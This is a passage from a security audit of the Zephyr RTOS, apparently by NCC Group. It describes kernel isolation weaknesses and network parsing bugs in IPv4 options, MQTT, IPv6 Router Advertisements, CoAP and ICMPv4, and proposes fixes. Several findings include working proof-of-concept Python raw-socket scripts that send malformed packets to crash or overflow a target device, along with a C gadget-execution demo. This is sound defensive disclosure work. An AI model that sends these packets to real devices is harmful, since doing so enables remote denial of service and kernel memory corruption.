Impact	A malicious actor who has obtained code execution within a user thread is able to bypass stack canary protection of kernel threads.
Description	When the USERSPACE configuration option is enabled, Zephyr attempts to isolate potentially untrusted user threads from the kernel. The implementation, however, shares stack canary values between user threads and the kernel, as their value is stored within a single global variable named `__stack_chk_guard`. This means that once a malicious actor has obtained code execution within a user mode thread, it is trivial to bypass stack canary protection in other user threads, and in the kernel, enabling the adversary to trivially exploit kernel stack buffer overflow vulnerabilities.
Recommendation	Thread-local storage could be used to store a per-thread stack canary value, which should be initialized on each thread's setup. A distinct value should be used for the kernel stack canary. At minimum, the limitation of using a global stack canary should be documented on the CONFIG_STACK_CANARIES page.

Finding	**User Threads Can Read and Execute Kernel Flash Memory**
Risk	**Low** Impact: Low, Exploitability: Low
Identifier	NCC-ZEP-013
Status	Not Fixed
Category	Configuration
Component	Zephyr - Kernel
Impact	The lack of kernel/user executable memory separation could simplify the exploitation process by exposing additional ROP gadgets.

Description

When the USERSPACE configuration option is enabled, Zephyr attempts to isolate potentially untrusted user threads from the kernel. User threads, however, are still permitted to read or execute memory mapped flash memory, even portions containing kernel code. Because the user application is able to execute this kernel code, it becomes easier for an adversary to exploit certain kinds of vulnerabilities, for example, by providing more ROP gadgets.[41]

Additionally, depending on the features of the microcontroller, user threads might be able to exploit this to disclose flash-based secrets such as the secret MCUboot firmware decryption key embedded within the bootloader.[42] An example of this has been used by others to bypass execute-only memory protections.[43]

Reproduction Steps

The following C code was compiled and executed on a Freedom K64F[44] board:

```c
#include <zephyr.h>
#include <sys/printk.h>

static void print_control(const char *s) {
    uint32_t control;
    __asm__ volatile ("mrs %0, CONTROL" : "=r"(control));
    printk("%s - CONTROL: 0x%X\n", s, control);
}

static void user(void *p1, void *p2, void *p3) {
    int counter;
    print_control("user");
    counter = 0;
    for (uint8_t *ptr = (uint8_t*)0x2; ptr < (uint8_t*)0x10000; ptr += 2) {
        /* Find all "bx lr" instructions in flash and attempt to execute them */
        if (ptr[0] == 0x70 && ptr[1] == 0x47) {
            void (*func)() = (void*)(ptr + 1);
            /* printk("%p\n", ptr); */
            func();
            ++counter;
        }
    }
    printk("Executed %d BX LR instructions\n", counter);
```

41 Return-oriented programming - Wikipedia
42 bootloader/mcuboot/boot/bootutil/include/bootutil/enc_key.h:50 @ 7fea846
43 https://www.usenix.org/system/files/woot19-paper_schink.pdf
44 https://docs.zephyrproject.org/latest/boards/arm/frdm_k64f/doc/index.html

```
}

void main(void) {
    print_control("kernel");
    k_thread_user_mode_enter(user, NULL, NULL, NULL);
}
```

The following output was observed:

```
*** Booting Zephyr OS build zephyr-v2.1.0-1597-gbe0f5fe0b0be  ***
kernel - CONTROL: 0x2
user - CONTROL: 0x3
Executed 187 BX LR instructions
```

This sample code will walk all of flash memory and attempt to execute any `bx lr` instructions it encounters. As no crash is observed, this shows how there is no isolation between the user and kernel executable memory.

Recommendation The Zephyr kernel is statically linked with the user application, and does not include multiple copies of any libraries where they are used by both kernel and user mode code. Furthermore, Zephyr is targeted at microcontrollers, which do not commonly include MMU support and may only contain a more rudimentary MPU. Despite these complexities, NCC Group recommends an investigation of the feasibility in using the scatter linker to segregate code into distinct regions, with MPU enforced restrictions placed on each according to privilege.

Finding	**Stack Buffer Overflow in** `net_ipv4_parse_hdr_options`
Risk	**Critical** Impact: High, Exploitability: High
Identifier	NCC-ZEP-027
Status	Fixed
Category	Data Validation
Component	Zephyr - Network
Location	`net_ipv4_parse_hdr_options` in `zephyr/subsys/net/ip/ipv4.c` @ `be0f5fe0b0`
Impact	An attacker may cause a denial of service or gain code execution within the kernel when a malicious ICMP packet is received on devices that enable the `CONFIG_NET_IPV4_HDR_OPTIONS` build option.

Description

The IPv4 packet header has an optional Options field with a variable size of up to 40 bytes. In Zephyr, the support for this feature is turned off by default and can be enabled with `CONFIG_NET_IPV4_HDR_OPTIONS=y`.

The Options field is used in Zephyr's ICMPv4 implementation. The ICMPv4 stack calls `net_ipv4_parse_hdr_options`[45] to parse them and is able to handle the Record Route and Timestamp fields.

The `net_ipv4_parse_hdr_options` function keeps track of how many option bytes remain by first obtaining `opts_len=net_pkt_ipv4_opts_len(pkt)` and then decrementing this `opts_len` for every byte consumed. However, during the parsing there is a potential for an integer underflow to occur, which ultimately results in an overrun of a buffer declared on the stack. The function implementing option parsing is as follows:

```
int net_ipv4_parse_hdr_options(struct net_pkt *pkt,
                               net_ipv4_parse_hdr_options_cb_t cb,
                               void *user_data)
{
    struct net_pkt_cursor cur;
    u8_t opt_data[NET_IPV4_HDR_OPTNS_MAX_LEN];
    u8_t opts_len;
    /* ... */

    opts_len = net_pkt_ipv4_opts_len(pkt);

    while (opts_len) {
        u8_t opt_len = 0U;
        u8_t opt_type;

        if (net_pkt_read_u8(pkt, &opt_type)) {
            return -EINVAL;
        }

        /* (NCC1) */
        opts_len--;

        if (!(opt_type == NET_IPV4_OPTS_EO || opt_type == NET_IPV4_OPTS_NOP)) {
```

[45] `zephyr/subsys/net/ip/icmpv4.c:375` @ `be0f5fe0b0`

```
            if (net_pkt_read_u8(pkt, &opt_len)) {
                return -EINVAL;
            }

            opt_len -= 2U;
            /* (NCC2) */
            opts_len--;
        }

        /* (NCC3) */
        if (opt_len > opts_len) {
            return -EINVAL;
        }

        switch (opt_type) {
        /* ... */
        case NET_IPV4_OPTS_RR:
        case NET_IPV4_OPTS_TS:
            /* (NCC4) */
            if (net_pkt_read(pkt, opt_data, opt_len)) {
                return -EINVAL;
            }

            if (cb(opt_type, opt_data, opt_len, user_data)) {
                return -EINVAL;
            }

            break;
        /* ... */
        }
        opts_len -= opt_len;
    }
    net_pkt_cursor_restore(pkt, &cur);
    return 0;
}
```

The individual options are encoded using a type-length-value (TLV) scheme. The current option being processed is of size `opt_len`. The above code ensures that `opts_len` is greater than `opt_len`, or in other words, that the size of the current option is not larger than the quantity of unprocessed bytes that remain in the options buffer.

During loop iteration, if `opts_len` is equal to `1`, then the decrement operation, at `NCC1` above, would reduce the value to `0`. The subsequent decrement, at `NCC2` above, would result in an integer underflow. After underflow, `opts_len` would be equal to `255`. Next, a large `opt_len` would pass the size check (at `NCC3` above). This would result in data being written beyond the end of the `opt_data` array when `net_pkt_read` is called (at `NCC4` above), because `NET_IPV4_HDR_OPTNS_MAX_LEN` is fixed to `40` bytes.

While the initial `opts_len` has to be divisible by 4 due to how the value is calculated,[46] a remote attacker is able to exploit the issue by using multiple options and setting the length of the first option to be `3` bytes. During the second iteration of the loop, `opts_len` would be `1` and the underflow described above would occur.

[46] `zephyr/subsys/net/ip/ipv4.c:233` @ `be0f5fe0b0`

Reproduction Steps

The following Python code generates and sends the malicious packet. To reproduce the issue, execute the script with the first argument being the IPv4 address of the host machine and the second being the IPv4 address of the vulnerable host.

```
#!/usr/bin/env python3

import socket
import struct
import ipaddress
import sys

# https://tools.ietf.org/html/rfc1071
def checksum(pkt):
    assert len(pkt) % 2 == 0

    s = 0
    for x in range(0, len(pkt), 2):
        a, b = pkt[x], pkt[x + 1]
        s += a * 256 + b

    s = (s >> 16) + (s & 0xFFFF)

    return ~s & 0xFFFF

def main():
    if len(sys.argv) != 3:
        print("Usage: ipv4-opts.py src-ip dst-ip")
        return

    src_ip = sys.argv[1]
    dst_ip = sys.argv[2]

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
    sock.bind((src_ip, 0))

    vhl = 0x40 | 0x6 # 5 for ip header, 1 for 4 option bytes
    tos = 0
    length = 0xDEAD # filled by the kernel
    ident = 0
    frag = 0
    ttl = 100
    proto = 1
    chk = 0xDEAD # filled by the kernel
    src = 0
    dst = int(ipaddress.IPv4Address(dst_ip))

    # ipv4
    pkt = struct.pack(">BBHHHBBHII", vhl, tos, length, ident, frag, ttl, proto, \
                                     chk, src, dst)
    # 41 03 will be parsed as the first option
    # note that the rest of options end up located outside of the IPv4 header
    pkt += b"\x41\x03A\x41"
    # icmp
    # 41 08 will be parsed as the second option
```

```
    # 41 comes from the IP header and 08 comes from the ICMP header
    icmp = struct.pack(">BBH", 8, 0, 0)
    # 07 80 will be parsed as the third option, resulting in overflow
    icmp += b"012\x07\x80"
    # The overflow payload is completely controlled by the attacker
    icmp += b"A" * (0x80-2) + b"\x00"
    icmp = bytearray(icmp)
    icmp[2:4] = struct.pack(">H", checksum(icmp))

    pkt += icmp

    sock.sendto(pkt, (dst_ip, 0))


if __name__ == "__main__":
    main()
```

The following output is observed on the K64F board:

```
<err> os: ***** BUS FAULT *****
<err> os:   Precise data bus error
<err> os:   BFAR Address: 0x41414183
<err> os: r0/a1: 0x41414141 r1/a2:  0x00000007 r2/a3:  0x20009038
<err> os: r3/a4: 0x20005de4 r12/ip: 0x0000002e r14/lr: 0x00013dbd
<err> os:  xpsr:  0x61000000
<err> os: Faulting instruction address (r15/pc): 0x0001340a
<err> os: >>> ZEPHYR FATAL ERROR 0: CPU exception on CPU 0
<err> os: Current thread: 0x20001d64 (unknown)
<err> os: Halting system
```

While the script was confirmed to work over a local connection, it is possible that routers, firewalls or other network devices might reject such malformed IPv4 packet.

Recommendation Prior to performing the second decrement, ensure that the value of `opts_len` is greater than zero so that the operation does not cause it to underflow. In case the value is zero, the function should return an error such as `-EINVAL`.

Finding	**Unsafe Parsing of MQTT Header Results in Memory Corruption**
Risk	**Critical** Impact: High, Exploitability: High
Identifier	NCC-ZEP-031
Status	Fixed
Category	Data Validation
Component	Zephyr - Network
Location	`zephyr/subsys/net/lib/mqtt/mqtt_decoder.c:161` @ b413223a66
Impact	A remote adversary can send an MQTT packet with a malformed header in order to induce memory corruption within the Zephyr kernel, possibly leading to code execution.

Description

All MQTT packets are prefixed with a 2-byte fixed header. This header is composed of a 1-byte control value followed by a 1-byte value that represents the remaining length of the packet. If the packet size is larger than what can be represented by the 1-byte length field in the fixed packet header, then the remaining length field may be extended into the bytes immediately following the header. The length field may be as short as 1 byte, or as long as 4 bytes. Each byte uses the lower-most 7 bits to encode the length and the uppermost bit represents the continuation flag. When the continuation flag is equal to `1`, the next byte should also be considered to be part of the packet length field.[47]

Within Zephyr, parsing of the length field is performed in the `packet_length_decode` function, as shown below:

```
int packet_length_decode(struct buf_ctx *buf, u32_t *length)
{
    u8_t shift = 0U;
    u8_t bytes = 0U;

    *length = 0U;
    do {
        if (bytes > MQTT_MAX_LENGTH_BYTES) {
            return -EINVAL;
        }
        if (buf->cur >= buf->end) {
            return -EAGAIN;
        }
        *length += ((u32_t)*(buf->cur) & MQTT_LENGTH_VALUE_MASK) << shift;
        shift += MQTT_LENGTH_SHIFT;
        bytes++;
    } while ((*(buf->cur++) & MQTT_LENGTH_CONTINUATION_BIT) != 0U);
    /* ... */
    return 0;
}
```

This function will iterate until it encounters a byte that does not set the continuation bit or until `bytes` is greater than `MQTT_MAX_LENGTH_BYTES` (4). However, the logic allows the code to parse up to `5` length bytes, rather than `4` due to the use of the ">" operator instead of ">=". This violates the MQTT specification, and allows the `length` value to accumulate up to a very

[47] MQTT Control Packet Format - Fixed Header - Remaining Length

large integer—a maximum possible value of `0x7_ffff_ffff`. Of course, this large value does not fit within an unsigned integer type, so the uppermost bits would be truncated. However, any length value in the range `0x0000_0000`–`0xffff_ffff` is possible, and both very large and very small values are problematic in subsequent code.

Ultimately, this unsafe value is returned by `packet_length_decode`, and is passed upwards through the call stack to `fixed_header_decode`, then `mqtt_read_and_parse_fixed_header`, and finally `mqtt_handle_rx`, whose implementation is shown below:

```
int mqtt_handle_rx(struct mqtt_client *client)
{
    int err_code;
    u8_t type_and_flags;
    u32_t var_length;
    struct buf_ctx buf;

    buf.cur = client->rx_buf;
    buf.end = client->rx_buf + client->internal.rx_buf_datalen;

    err_code = mqtt_read_and_parse_fixed_header(client, &type_and_flags,
                                                &var_length, &buf);
    /* ... */

    if ((type_and_flags & 0xF0) == MQTT_PKT_TYPE_PUBLISH) {
        err_code = mqtt_read_publish_var_header(client, type_and_flags, &buf);
    } else {
        err_code = mqtt_read_message_chunk(client, &buf, var_length);
    }
    /* ... */

    err_code = mqtt_handle_packet(client, type_and_flags, var_length, &buf);
    /* ... */
}
```

In `mqtt_handle_rx`, the variable `var_length` contains this tainted length value that could be in the range `0x0` to `0xffff_ffff`. This value is passed to both `mqtt_read_message_chunk` and `mqtt_handle_packet`. Both of these instances can result in memory safety violations, as described in the following subsections.

1) `mqtt_read_message_chunk`

An integer overflow may occur in `mqtt_read_message_chunk`. Notice below that if `length` is a large positive integer, then the value `remaining` will also be a large positive integer. Also note the mixing of signed and unsigned integer types below, where `remaining` is an `int` type, but `length` is a `u32_t` type. Next, when the expression "`buf->end + remaining`" is evaluated, the resulting value may overflow to a small positive integer, allowing the sanity check to pass.

```
static int mqtt_read_message_chunk(struct mqtt_client *client,
                                   struct buf_ctx *buf, u32_t length)
{
    int remaining;
    int len;

    remaining = length - (buf->end - buf->cur);
```

```
    if (remaining <= 0) {
        return 0;
    }

    /* Check if read does not exceed the buffer. */
    if (buf->end + remaining > client->rx_buf + client->rx_buf_size) {
        /* ... */
        return -ENOMEM;
    }

    len = mqtt_transport_read(client, buf->end, remaining, false);
    /* ... */
}
```

Next, the very large `remaining` value is passed to `mqtt_transport_read`, which is a thin wrapper around `recv`. This function does not perform any checks on the `remaining` value, which will result in writing too many bytes into the `buf->end` buffer. Although `remaining` can be quite large (near `0x7fff_ffff`), because `recv` may return fewer bytes than requested, it is possible for an adversary to perform a controlled memory write.

2) mqtt_handle_packet

Back in `mqtt_handle_rx`, the unsanitized `var_length` is also passed to `mqtt_handle_packet`, which is responsible for parsing the various MQTT packet types. The function implementation is shown below, but only the `PUBLISH` packet types is relevant as it is the only case statement where `var_length` is referenced. Here it is passed to `publish_decode`.

```
static int mqtt_handle_packet(struct mqtt_client *client,
                              u8_t type_and_flags,
                              u32_t var_length,
                              struct buf_ctx *buf)
{
    int err_code = 0;
    bool notify_event = true;
    struct mqtt_evt evt;
    /* ... */

    switch (type_and_flags & 0xF0) {
    /* ... */
    case MQTT_PKT_TYPE_PUBLISH:
        /* ... */
        err_code = publish_decode(type_and_flags, var_length, buf,
                                  &evt.param.publish);
        evt.result = err_code;

        client->internal.remaining_payload =
                                evt.param.publish.message.payload.len;

        /* ... */
        break;
    /* ... */
```

Up until this point in execution, the `var_length` value has not been sanitized. If the value is very small, say `0`, then the subtraction operation "`var_length - var_header_length`" could result in an integer underflow, producing a very large value for `param->message.payload.len`.

```c
int publish_decode(u8_t flags, u32_t var_length, struct buf_ctx *buf,
                   struct mqtt_publish_param *param)
{
        int err_code;
        u32_t var_header_length;
        /* ... */
        err_code = unpack_utf8_str(buf, &param->message.topic.topic);
        /* ... */
        var_header_length = param->message.topic.topic.size + sizeof(u16_t);

        if (param->message.topic.qos > MQTT_QOS_0_AT_MOST_ONCE) {
                err_code = unpack_uint16(buf, &param->message_id);
                /* ... */
                var_header_length += sizeof(u16_t);
        }

        param->message.payload.data = NULL;
        param->message.payload.len = var_length - var_header_length;

        return 0;
}
```

A very large value for `param->message.payload.len` will also taint the variable `client->internal.remaining_payload` when `publish_decode` returns, back in `mqtt_handle_packet`. The `remaining_payload` value is used by the function `read_publish_payload` (called by the high level MQTT Zephyr APIs `mqtt_read_publish_payload` and `mqtt_read_publish_payload_blocking`). If the underlying payload size can be tainted, then it may be possible to overrun the buffers used by these client APIs.

Recommendation

The `packet_length_decode` function should first ensure that it parses only 4 bytes as the MQTT remaining length, rather than 5 bytes.

Additionally, an upper limit on the length extracted from the MQTT packet header should be enforced. The MQTT specification states that the maximum packet size is 256 MB.

In `mqtt_read_message_chunk`, a sanity check is needed to avoid an integer overflow when evaluating the expression `buf->end + remaining`.

Likewise, in `publish_decode`, additional logical checks are needed to prevent integer underflow when evaluating `var_length - var_header_length`.

Finding **Remote Denial of Service in IPv6 Router Advertisement Prefix Handling**

Risk **Medium** Impact: Low, Exploitability: Medium

Identifier NCC-ZEP-029

Status Not Fixed

Category Denial of Service

Component Zephyr - Network

Location `zephyr/subsys/net/ip/ipv6_nbr.c:2016` @ `be0f5fe0b0`

Impact A remote attacker is able to cause the Zephyr kernel to endlessly spin in a loop, resulting in a denial of service.

Description Zephyr's IPv6 network stack is capable of receiving and processing incoming Router Advertisement[48] ICMPv6 packets. During handling of on-link prefixes, a closed loop might be introduced in the linked list of prefix lifetime timers, possibly resulting in denial of service.

When a Router Advertisement ICMPv6 packet is received, it is processed by `handle_ra_input`. This function parses the packet, extracts *options*,[49] and executes `handle_ra_prefix` when a Prefix Information field is received. Next, `handle_ra_prefix` will call `handle_prefix_onlink` when an on-link prefix is received:

```
static inline bool handle_ra_prefix(struct net_pkt *pkt)
{
    /* ... */
    pfx_info = (struct net_icmpv6_nd_opt_prefix_info *)
                    net_pkt_get_data(pkt, &rapfx_access);
    /* ... */
    if (valid_lifetime >= preferred_lifetime &&
        !net_ipv6_is_ll_addr(&pfx_info->prefix)) {
        if (pfx_info->flags & NET_ICMPV6_RA_FLAG_ONLINK) {
            handle_prefix_onlink(pkt, pfx_info);
        }
        /* ... */
    }
    return true;
}
```

The function `handle_prefix_onlink` calls `net_if_ipv6_prefix_set_timer` to set up prefix lifetime timer:

```
static inline void handle_prefix_onlink(struct net_pkt *pkt,
                        struct net_icmpv6_nd_opt_prefix_info *prefix_info)
{
    struct net_if_ipv6_prefix *prefix;

    prefix = net_if_ipv6_prefix_lookup(net_pkt_iface(pkt),
                                       &prefix_info->prefix,
                                       prefix_info->prefix_len);
```

[48] RFC 4861 - Neighbor Discovery for IP version 6 (IPv6) - 4.2. Router Advertisement Message Format
[49] RFC 4861 - Neighbor Discovery for IP version 6 (IPv6) - 4.6. Option Formats

```
    /* ... */
    switch (prefix_info->valid_lifetime) {
    /* ... */
    default:
        /* ... */
        net_if_ipv6_prefix_set_lf(prefix, false);
        net_if_ipv6_prefix_set_timer(prefix, prefix_info->valid_lifetime);
        break;
    }
}
```

Notice how the pointer to the prefix is retrieved with `net_if_ipv6_prefix_lookup`. If the same prefix information is processed twice, the same pointer would be returned in both cases.

Next, `net_if_ipv6_prefix_set_timer` will call `prefix_start_timer` passing in the pointer to `prefix`:

```
void net_if_ipv6_prefix_set_timer(struct net_if_ipv6_prefix *prefix,
                                  u32_t lifetime)
{
    /* No need to set a timer for infinite timeout */
    if (lifetime == 0xffffffff) {
        return;
    }
    NET_DBG("Prefix lifetime %u sec", lifetime);
    prefix_start_timer(prefix, lifetime);
}
```

Finally, `prefix_start_timer` calls `sys_slist_append` to insert the element into the linked list.

```
static void prefix_start_timer(struct net_if_ipv6_prefix *ifprefix,
                               u32_t lifetime)
{
    u64_t expire_timeout = K_SECONDS((u64_t)lifetime);
    sys_slist_append(&active_prefix_lifetime_timers, &ifprefix->lifetime.node);
    /* ... */
}
```

If the same pointer is passed through to `prefix_start_timer` twice, a closed loop will be created in the linked list. Then, when another function needs to perform a search operation on the linked list, it would enter an infinite loop, resulting in denial of service.

The simplest way a remote attacker could cause the same pointer to get inserted into the list twice is to submit multiple Router Advertisement ICMPv6 packets that include the same on-link prefix. Then, an attacker could trigger a denial of service by sending yet another Router Advertisement packet with the prefix lifetime set to zero.

Reproduction Steps

The Python script included below performs the attack, inserting the same prefix twice and then triggering prefix deletion resulting in denial of service. After executing the script with appropriate arguments, the Zephyr device hangs and stops replying to pings or responding to input on the built-in console.

```python
#!/usr/bin/env python3

import socket
import struct
import ipaddress
import sys

# https://tools.ietf.org/html/rfc1071
def checksum(pkt):
    assert len(pkt) % 2 == 0

    s = 0
    for x in range(0, len(pkt), 2):
        a, b = pkt[x], pkt[x + 1]
        s += a * 256 + b

    s = (s >> 16) + (s & 0xFFFF)

    return ~s & 0xFFFF

def main():
    if len(sys.argv) != 6:
        print("Usage: ipv6-ra.py iface src-eth dst-eth src-ip dst-ip")
        return

    iface = sys.argv[1]
    src_eth = sys.argv[2].replace(":", "")
    dst_eth = sys.argv[3].replace(":", "")
    src_ip = sys.argv[4]
    dst_ip = sys.argv[5]

    src_addr = ipaddress.IPv6Address(src_ip).packed
    dst_addr = ipaddress.IPv6Address(dst_ip).packed

    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    sock.bind((iface, 0))

    def make_prefix(addr, lifetime):
        # ethernet header, EtherType=IPv6
        hdr = bytes.fromhex(dst_eth) + bytes.fromhex(src_eth) + b"\x86\xDD"

        # Router Advertisement
        icmp = struct.pack(">BBH", 134, 0, 0)
        icmp += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B"
        icmp += b"\x03\x0D"
        # prefix_len, flags, valid_lifetime, preferred_lifetime, reserved, prefix
        icmp += struct.pack("<BBIII", 16, 0x80, lifetime, lifetime, 0) + addr

        icmp = bytearray(icmp)
        pseudo_hdr = src_addr + dst_addr + struct.pack(">II", len(icmp), 58)
        icmp[2:4] = struct.pack(">H", checksum(pseudo_hdr + icmp))

        plen = len(icmp)
        nhdr = 0x3A # ICMPv6
        hlimit = 64
```

```
        body = struct.pack(">IHBB", 6<<28, plen, nhdr, hlimit)+src_addr+dst_addr

        packet = hdr + body + icmp

        return packet

    prefix_a = make_prefix(b"\xAA" * 16, 10000)
    prefix_b = make_prefix(b"\xBB" * 16, 10000)
    prefix_del_b = make_prefix(b"\xBB" * 16, 0)

    # create a loop in the list
    sock.send(prefix_a)
    sock.send(prefix_b)
    sock.send(prefix_a)
    sock.send(prefix_a)

    # trigger a walk through the list
    sock.send(prefix_del_b)


if __name__ == "__main__":
    main()
```

Recommendation

In `prefix_start_timer`, check if the lifetime timer element already exists in the list before inserting it. If the element already exists, another copy should not be inserted.

Finding **Remote Denial of Service in CoAP Option Parsing Due to Integer Overflow**

Risk **Medium** Impact: Low, Exploitability: Medium

Identifier NCC-ZEP-032

Status Fixed

Category Data Validation

Component Zephyr - Network

Location `zephyr/subsys/net/lib/coap/coap.c:475-484` @ b413223a66

Impact A remote adversary with the ability to send arbitrary CoAP packets to be parsed by Zephyr is able to cause a denial of service.

Description The function `coap_packet_parse` is used to parse incoming CoAP[50] packets. The implementation calls `parse_option` in a loop until the entire packet is consumed:

```
while (1) {
    struct coap_option *option;

    option = num < opt_num ? &options[num++] : NULL;
    ret = parse_option(cpkt->data, offset, &offset, cpkt->max_len,
                       &delta, &opt_len, option);
    if (ret < 0) {
        return ret;
    } else if (ret == 0) {
        break;
    }
}
```

The `parse_option` function is used to parse a single CoAP option.[51] When the option length field is set to `COAP_OPTION_EXT_13` (13) or `COAP_OPTION_EXT_14` (14), the single-byte or two-byte length is decoded through the call to `decode_delta`:

```
static int parse_option(u8_t *data, u16_t offset, u16_t *pos,
                        u16_t max_len, u16_t *opt_delta, u16_t *opt_len,
                        struct coap_option *option)
{
    u16_t hdr_len;
    u16_t delta;
    u16_t len;
    u8_t opt;
    int r;
    /* ... */
    if (len > COAP_OPTION_NO_EXT) {
        /* In case 'len' doesn't fit the option fixed header. */
        r = decode_delta(data, *pos, pos, max_len, len, &len, &hdr_len);
        if (r < 0) {
            return -EINVAL;
```

[50] RFC 7252 - The Constrained Application Protocol (CoAP)
[51] RFC 7252 - The Constrained Application Protocol (CoAP) - 3.1. Option Format

```
        }
        *opt_len += hdr_len;
    }
    *opt_delta += delta;
    *opt_len += len;
    /* ... */
}
```

At the end of the function, the current decode position is advanced with:

```
    } else {
        *pos += len;
        r = max_len - *pos;
    }
```

All length values handled by this function are unsigned 16-bit integers. The values are not sanitized, and could take on any arbitrary 16-bit value. By setting up `len` so that it overflows `pos`, it is possible to craft an option that, when parsed, would set `pos` backwards. This then can be abused to create an closed loop within the CoAP packet options field, resulting in denial of service when the packet is parsed.

Reproduction Steps Compile and execute the following test case:

```
#include <zephyr.h>
#include <sys/printk.h>
#include <net/coap.h>

unsigned char testcase[] = {
  0, 0, 0, 0,
  0x0E, /* delta=0, length=14 */
  0xFE, 0xF0, /* First option */
  0x00  /* More data following the option to skip the "if (r == 0) {" case */
};

void main(void)
{
    struct coap_packet pkt;
    int ret;
    ret = coap_packet_parse(&pkt, testcase, sizeof(testcase), NULL, 0);
    printk("ret = %d\n", ret);
}
```

Observe how `coap_packet_parse` never returns and the `printk` statement is never executed.

Recommendation In order to prevent infinite loops, an additional check should be introduced in `parse_option` to ensure that the resulting `pos` is advanced forward compared to the original `pos`. Additionally, integer overflows should be checked for when performing 16-bit addition within `parse_option`.

Finding	**Integer Underflow in `icmpv4_update_*` Functions Results in Stack Buffer Out-of-Bounds Read**
Risk	**Informational** Impact: None, Exploitability: None
Identifier	NCC-ZEP-028
Status	Not Fixed
Category	Data Validation
Component	Zephyr - Network
Location	• `zephyr/subsys/net/ip/icmpv4.c:148` @ be0f5fe0b0 • `zephyr/subsys/net/ip/icmpv4.c:290` @ be0f5fe0b0
Impact	A remote attacker is able to cause the Zephyr kernel to read data out-of-bounds from a stack buffer. There is no security impact as the data read is not disclosed to the attacker.

Description

The IPv4 packet header has an optional Options field with a variable size of up to 40 bytes. In Zephyr, the support for this feature is turned off by default and can be enabled with `CONFIG_NET_IPV4_HDR_OPTIONS=y`.

The Options field is used in Zephyr's ICMPv4 implementation. The ICMPv4 stack calls `net_ipv4_parse_hdr_options`[52] to parse them and is able to handle the Record Route and Timestamp fields.

Both of these are susceptible to an integer underflow resulting in memory being read out-of-bounds out of a buffer located on the stack. Specifically, in `icmpv4_update_record_route`, despite mentioning that the minimum legal value is 4, the function does not enforce it:

```
u8_t ptr_offset = 4U;

/* ... */

/* The third octet is the pointer into the route data
 * indicating the octet which begins the next area to
 * store a route address. The pointer is relative to
 * this option, and the smallest legal value for the
 * pointer is 4.
 */
ptr = opt_data[offset++];
```

Later on, the value of `ptr` is used to calculate `skip`, and is used as the length argument that is passed to `net_pkt_write`:

```
skip = ptr - ptr_offset;
if (skip) {
    /* Do not alter existed routes */
    if (net_pkt_write(reply, opt_data + offset, skip)) {
        goto drop;
    }

    offset += skip;
```

[52] `zephyr/subsys/net/ip/icmpv4.c:375` @ be0f5fe0b0

```
    len += skip;
}
```

Next, net_pkt_write reads the passed-in buffer &opt_data[offset] for skip bytes. If ptr is originally less than 4, the calculation of skip would underflow, resulting in a large 8-bit value, up to 255. opt_data is a stack buffer, 40 bytes in size,[53] passed in from net_ipv4_parse_hdr_options when the callback is executed.[54]

Ultimately, this allows reading up to 255 bytes from a stack buffer that is only 40 bytes in size. However, it is not possible for the packet containing leaked stack data to be sent to an adversary. Consider how the response packet gets created by the icmpv4_handle_echo_request function:

```
payload_len = net_pkt_get_len(pkt) - net_pkt_ip_hdr_len(pkt) -
              net_pkt_ipv4_opts_len(pkt) - NET_ICMPH_LEN;
if (payload_len < NET_ICMPV4_UNUSED_LEN) {
    /* No identifier or sequence number present */
    goto drop;
}

reply = net_pkt_alloc_with_buffer(net_pkt_iface(pkt),
                                  net_pkt_ipv4_opts_len(pkt) + payload_len,
                                  AF_INET, IPPROTO_ICMP, PKT_WAIT_TIME);
```

The size of the response packet is the same as the size of the input packet. Because of the underflow in icmpv4_update_record_route, the ICMPv4 body has to be around 255 bytes so that the net_pkt_write in icmpv4_update_record_route succeeds. However, at the end of the icmpv4_handle_echo_request function, when the ICMPv4 payload is cloned into the output packet, the net_pkt_copy function would fail as there is not enough space remaining in the packet:

```
if (icmpv4_create(reply, NET_ICMPV4_ECHO_REPLY, 0) ||
    net_pkt_copy(reply, pkt, payload_len)) {
    goto drop;
}
```

Ultimately, the reply packet always gets dropped and the remote attacker has no way of exfiltrating the leaked stack data. Therefore, this finding is a benign out-of-bounds memory read.

Reproduction Steps

The following Python code generates and sends the malicious packet. To reproduce the issue, execute the script with the first argument being the IPv4 address of the host machine and the second being the IPv4 address of the vulnerable host.

```
#!/usr/bin/env python3

import socket
import struct
import ipaddress
import sys
```

[53] zephyr/subsys/net/ip/ipv4.c:118 @ be0f5fe0b0
[54] zephyr/subsys/net/ip/ipv4.c:177 @ be0f5fe0b0

```python
# https://tools.ietf.org/html/rfc1071
def checksum(pkt):
    assert len(pkt) % 2 == 0

    s = 0
    for x in range(0, len(pkt), 2):
        a, b = pkt[x], pkt[x + 1]
        s += a * 256 + b

    s = (s >> 16) + (s & 0xFFFF)

    return ~s & 0xFFFF

def main():
    if len(sys.argv) != 3:
        print("Usage: ipv4-record-route.py src-ip dst-ip")
        return

    src_ip = sys.argv[1]
    dst_ip = sys.argv[2]

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
    sock.bind((src_ip, 0))

    vhl = 0x40 | 7 # 5 for ip header, 2 for 8 option bytes
    tos = 0
    length = 0xDEAD # filled by the kernel
    ident = 0
    frag = 0
    ttl = 100
    proto = 1
    chk = 0xDEAD # filled by the kernel
    src = 0
    dst = int(ipaddress.IPv4Address(dst_ip))

    # ipv4
    pkt = struct.pack(">BBHHHBBHII", vhl, tos, length, ident, frag, ttl,
        proto, chk, src, dst)
    # Record-Route option with ptr=0
    pkt += b"\x07\x08\x00\xAA"
    pkt += b"\x00\x00\x00\x00"
    # icmp
    icmp = struct.pack(">BBH", 8, 0, 0)
    icmp += b"\xAA" * 256
    icmp = bytearray(icmp)
    icmp[2:4] = struct.pack(">H", checksum(icmp))

    pkt += icmp

    sock.sendto(pkt, (dst_ip, 0))


if __name__ == "__main__":
```

```
    main()
```

As the response packet gets dropped and there is no difference in external behavior, in order to confirm the issue, set a breakpoint in `icmpv4_update_record_route` and check the value of `skip` passed to `net_pkt_write`.

Recommendation As comments in both functions already mention the smallest allowed value, a check should be introduced to ensure that the value of `ptr` matches the specification:

In `icmpv4_update_record_route`:

```c
/* The third octet is the pointer into the route data
 * indicating the octet which begins the next area to
 * store a route address. The pointer is relative to
 * this option, and the smallest legal value for the
